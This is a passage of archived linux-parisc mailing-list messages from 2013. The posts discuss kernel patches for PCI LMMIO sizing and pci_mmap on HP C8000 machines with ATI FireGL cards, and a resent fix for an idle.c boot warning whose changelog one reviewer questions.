> > +                               lba_len = ~READ_REG32(lba_dev->hba.base_addr
> > +                                               + LBA_LMMIO_MASK);
> > +                               if ((p->end - p->start) != lba_len) {
> > +                                       pr_warn("PCI%02x LMMIO mismatch between PAT length (0x%lx) and MASK register (0x%lx), fixing.\n",
> > +                                         (int)lba_dev->hba.bus_num.start,
> > +                                               p->end - p->start, lba_len);
> > +                                       p->end = p->start + lba_len;
> > +                               }
> >                                 sprintf(lba_dev->hba.lmmio_name,
> >                                                 "PCI%02x LMMIO",
> >                                                 (int)lba_dev->hba.bus_num.start);
> > --
> 
> With these two patches, does kernel modesetting (and X11?) work?

Yes, C8000 with ATI FireGL works then for me with framebuffer, SMP, serial port...everything I tested so far.

Important: *Disable* RADEON Framebuffer driver, and enable Radeon DRM driver instead!

I did not tested X11 yet (still need to fully install the C8000 with our
unstable) - but Thomas mentioned once that this is needed for X11.

BTW, I'll prepare a new installation CD for all machines soon...hopefully until end of
next week and hopefully when kernel 3.10 is released.

If you want to test, pull from git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
a)  my "for-3.10" branch, then
b)  my "important-for-3.10" branch (two fixed on which I wait for James)...

PS: Does someone has a C800 with 0x77 serial ports? In that case some
small patch to the serial driver is needed to get it detected....

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK
 register
Date: Fri, 14 Jun 2013 09:40:14 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <20130614074014.GA18886@p100.box>
References: <20130614071142.GB10443@p100.box>
 <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com>
 <20130614073827.GA18871@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371195627 1087 80.91.229.3 (14 Jun 2013 07:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 07:40:27 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 09:40:27 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnOcQ-0001Aw-PO
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 09:40:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751934Ab3FNHkU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 03:40:20 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:65264 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752505Ab3FNHkS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 03:40:18 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.30]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LnVlw-1U81fC31e2-00hdY7 for
 <linux-parisc@vger.kernel.org>; Fri, 14 Jun 2013 09:40:16 +0200
Original-Received: (qmail invoked by alias); 14 Jun 2013 07:40:16 -0000
Original-Received: from p54AD154E.dip0.t-ipconnect.de (EHLO p100.box) [84.173.21.78]
  by mail.gmx.net (mp030) with SMTP; 14 Jun 2013 09:40:16 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/4PLAvP674sAQ5iu56oSNME9ADW1Vz9AA2Dq6QeJ
	5+/0T3yeC8mB/n
Content-Disposition: inline
In-Reply-To: <20130614073827.GA18871@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5144
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5144>

* Helge Deller <deller@gmx.de>:
> PS: Does someone has a C800 with 0x77 serial ports? In that case some
> small patch to the serial driver is needed to get it detected....

I meant C8000 of course...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK
 register
Date: Fri, 14 Jun 2013 10:39:22 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20130614083922.GC5391@alpha.franken.de>
References: <20130614071142.GB10443@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371199270 4758 80.91.229.3 (14 Jun 2013 08:41:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 08:41:10 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 10:41:10 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnPZF-00088o-0x
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 10:41:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750931Ab3FNIlI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 04:41:08 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:60091 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750881Ab3FNIlE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 04:41:04 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1UnPZ6-0007xM-02; Fri, 14 Jun 2013 10:41:00 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id A90091D03F; Fri, 14 Jun 2013 10:39:22 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20130614071142.GB10443@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5145
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5145>

On Fri, Jun 14, 2013 at 09:11:42AM +0200, Helge Deller wrote:
> From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
> 
> The LMMIO length reported by PAT and the length given by the LBA MASK
> register are not consistent. This leads e.g. to a non-working ATI FireGL
> card with the radeon DRM driver since the memory can't be mapped.
> 
> Fix this by correctly adjusting the resource sizes.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

add my Acked-By or Signed-off-by, whatever you like.

BTW. thanks for cleaning up the patches.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK
 register
Date: Fri, 14 Jun 2013 10:38:34 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20130614083834.GB5391@alpha.franken.de>
References: <20130614071142.GB10443@p100.box>
 <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com>
 <20130614073827.GA18871@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371199275 4814 80.91.229.3 (14 Jun 2013 08:41:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 08:41:15 +0000 (UTC)
Cc: Matt Turner <mattst88@gmail.com>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 10:41:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnPZE-00088o-GG
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 10:41:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750930Ab3FNIlI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 04:41:08 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:60090 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750714Ab3FNIlC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 04:41:02 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1UnPZ6-0007xM-01; Fri, 14 Jun 2013 10:41:00 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 8CF271D03F; Fri, 14 Jun 2013 10:38:34 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20130614073827.GA18871@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5146
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5146>

On Fri, Jun 14, 2013 at 09:38:27AM +0200, Helge Deller wrote:
> I did not tested X11 yet (still need to fully install the C8000 with our
> unstable) - but Thomas mentioned once that this is needed for X11.

the pci mmap thing is a must for X11 to even get the card detected. This
patch is needed for the FireGL X3 cards with 256MB video memory.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: provide pci_mmap_page_range() for parisc
Date: Fri, 14 Jun 2013 10:36:58 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20130614083658.GA5391@alpha.franken.de>
References: <20130614070541.GA10443@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371199275 4813 80.91.229.3 (14 Jun 2013 08:41:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 08:41:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 10:41:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnPZF-00088o-Ho
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 10:41:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750889Ab3FNIlI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 04:41:08 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:60086 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750707Ab3FNIlE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 04:41:04 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1UnPZ6-0007xM-00; Fri, 14 Jun 2013 10:41:00 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 99DD51D03C; Fri, 14 Jun 2013 10:36:58 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20130614070541.GA10443@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5147
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5147>

On Fri, Jun 14, 2013 at 09:05:41AM +0200, Helge Deller wrote:
> From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
> 
> pci_mmap_page_range() is needed for X11-server support on C8000 with ATI
> FireGL card.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

You could add my Acked-By or Signed-off-by whatever fits your needs.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH RESEND] fix WARNING: at kernel/cpu/idle.c:96
Date: Fri, 14 Jun 2013 11:55:42 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <1371236142.2726.43.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1371236155 20952 80.91.229.3 (14 Jun 2013 18:55:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 18:55:55 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 20:55:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnZAA-0004Yp-9U
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 20:55:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753835Ab3FNSzp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 14:55:45 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34596 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752973Ab3FNSzn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 14:55:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 42F678EE10E;
	Fri, 14 Jun 2013 11:55:43 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id rwpuErGIn-sL; Fri, 14 Jun 2013 11:55:43 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id BE8948EE0C6;
	Fri, 14 Jun 2013 11:55:42 -0700 (PDT)
X-Mailer: Evolution 3.8.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5148 gmane.linux.kernel:1508590
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5148>

>From 48bbf44a96676ce6f520a408378730c976e9a11e Mon Sep 17 00:00:00 2001
From: James Bottomley <JBottomley@Parallels.com>
Date: Wed, 8 May 2013 14:05:34 -0700
Subject: [PATCH] [PARISC] fix WARNING: at kernel/cpu/idle.c:96

On PA-RISC (and presumably any other arch that doesn't implement its own
arch_cpu_idle), we get this spurious boot warning.  The problem is that the
way the idle task is selected initially using the weak arch_cpu_idle() in
idle.c causes us to enter this place once with interrupts enabled.  Fix this
by disabling interrupts in the weak arch_cpu_idle() code.

Reviewed-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
Cc: stable@vger.kernel.org
Signed-off-by: James Bottomley <JBottomley@Parallels.com>

---

Thomas, I'm getting a bit impatient: this is a clear bug in the cpu idle
code and we keep getting reports of this as a boot crash on parisc.  If
you don't push it through your tree, I'll take it through the parisc
one.


diff --git a/kernel/cpu/idle.c b/kernel/cpu/idle.c
index d5585f5..0a4d11e 100644
--- a/kernel/cpu/idle.c
+++ b/kernel/cpu/idle.c
@@ -58,6 +58,7 @@ void __weak arch_cpu_idle_dead(void) { }
 void __weak arch_cpu_idle(void)
 {
 	cpu_idle_force_poll = 1;
+	local_irq_enable();
 }
 
 /*


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney.cavm@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH RESEND] fix WARNING: at kernel/cpu/idle.c:96
Date: Fri, 14 Jun 2013 12:11:31 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <51BB6AE3.8030903@gmail.com>
References: <1371236142.2726.43.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1371237098 30180 80.91.229.3 (14 Jun 2013 19:11:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 19:11:38 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 21:11:37 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnZPN-0006uo-7n
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 21:11:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753063Ab3FNTLg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 15:11:36 -0400
Original-Received: from mail-pb0-f43.google.com ([209.85.160.43]:48461 "EHLO
	mail-pb0-f43.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753120Ab3FNTLf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 15:11:35 -0400
Original-Received: by mail-pb0-f43.google.com with SMTP id md12so865162pbc.16
        for <multiple recipients>; Fri, 14 Jun 2013 12:11:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=ZbeaazjT0Ov78o+Cnlk9gkWEOft2RLVYiknPjbMSxGU=;
        b=VPnEltpnrxjy6j0tV83gAowSpGBUFpAtAFxvVggqQ+fuDoKEFnSAK7rdMufpipG4zV
         0M5O+YAGubhKy7+e4wUcQ/B46fgO6MmPTJ6cAkQEDshyPwy2wuytHBCOGDMnmCJceiUY
         KUCMSK7gF6foiaou08wV11SAtlxSC8GorgtkfuBN87TGdFZBrLVnFOhrU6OhuwtSjQ5/
         +tZeSnwPt4smTgXj5vHi9ajhM0IkZn/P0nnjnng8CW3vB2tTGHnNkj3wQlkFakYZynrV
         eN3C1cZIpokuDiLPqOmktmwEDhqWJyDBSM3kyfArGi9eg3GysL1VzVYMgrt7y+oJ8/B8
         Batw==
X-Received: by 10.68.191.36 with SMTP id gv4mr3928459pbc.67.1371237095296;
        Fri, 14 Jun 2013 12:11:35 -0700 (PDT)
Original-Received: from dl.caveonetworks.com (64.2.3.195.ptr.us.xo.net. [64.2.3.195])
        by mx.google.com with ESMTPSA id iq6sm3266662pbc.1.2013.06.14.12.11.33
        for <multiple recipients>
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Fri, 14 Jun 2013 12:11:34 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130514 Thunderbird/17.0.6
In-Reply-To: <1371236142.2726.43.camel@dabdike>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5149 gmane.linux.kernel:1508594
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5149>

On 06/14/2013 11:55 AM, James Bottomley wrote:
>>From 48bbf44a96676ce6f520a408378730c976e9a11e Mon Sep 17 00:00:00 2001
> From: James Bottomley <JBottomley@Parallels.com>
> Date: Wed, 8 May 2013 14:05:34 -0700
> Subject: [PATCH] [PARISC] fix WARNING: at kernel/cpu/idle.c:96
>
> On PA-RISC (and presumably any other arch that doesn't implement its own
> arch_cpu_idle), we get this spurious boot warning.  The problem is that the
> way the idle task is selected initially using the weak arch_cpu_idle() in
> idle.c causes us to enter this place once with interrupts enabled.  Fix this
> by disabling interrupts in the weak arch_cpu_idle() code.

Is this changelog correct?  It looks to me like you are enabling 
interrupts down there.

David Daney


>
> Reviewed-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
> Cc: stable@vger.kernel.org
> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
>
> ---
>
> Thomas, I'm getting a bit impatient: this is a clear bug in the cpu idle
> code and we keep getting reports of this as a boot crash on parisc.  If
> you don't push it through your tree, I'll take it through the parisc
> one.
>
>
> diff --git a/kernel/cpu/idle.c b/kernel/cpu/idle.c
> index d5585f5..0a4d11e 100644
> --- a/kernel/cpu/idle.c
> +++ b/kernel/cpu/idle.c
> @@ -58,6 +58,7 @@ void __weak arch_cpu_idle_dead(void) { }
>   void __weak arch_cpu_idle(void)
>   {
>   	cpu_idle_force_poll = 1;
> +	local_irq_enable();

Here     ^^^^^^^^^^^^^^^^


>   }
>
>   /*
>
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
>
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH RESEND] fix WARNING: at kernel/cpu/idle.c:96
Date: Fri, 14 Jun 2013 12:13:12 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <1371237192.2726.46.camel@dabdike>
References: <1371236142.2726.43.camel@dabdike> <51BB6AE3.8030903@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1371237196 31071 80.91.229.3 (14 Jun 2013 19:13:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 19:13:16 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: David Daney <ddaney.cavm@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 21:13:16 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnZQx-0007so-Bg
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 21:13:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752973Ab3FNTNO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 15:13:14 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34659 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752352Ab3FNTNO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 15:13:14 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E67648EE10E;
	Fri, 14 Jun 2013 12:13:13 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id v5_M_AocnJAX; Fri, 14 Jun 2013 12:13:13 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7087C8EE0C6;
	Fri, 14 Jun 2013 12:13:13 -0700 (PDT)
In-Reply-To: <51BB6AE3.8030903@gmail.com>
X-Mailer: Evolution 3.8.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5150 gmane.linux.kernel:1508595
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5150>

On Fri, 2013-06-14 at 12:11 -0700, David Daney wrote:
> On 06/14/2013 11:55 AM, James Bottomley wrote:
> >>From 48bbf44a96676ce6f520a408378730c976e9a11e Mon Sep 17 00:00:00 2001
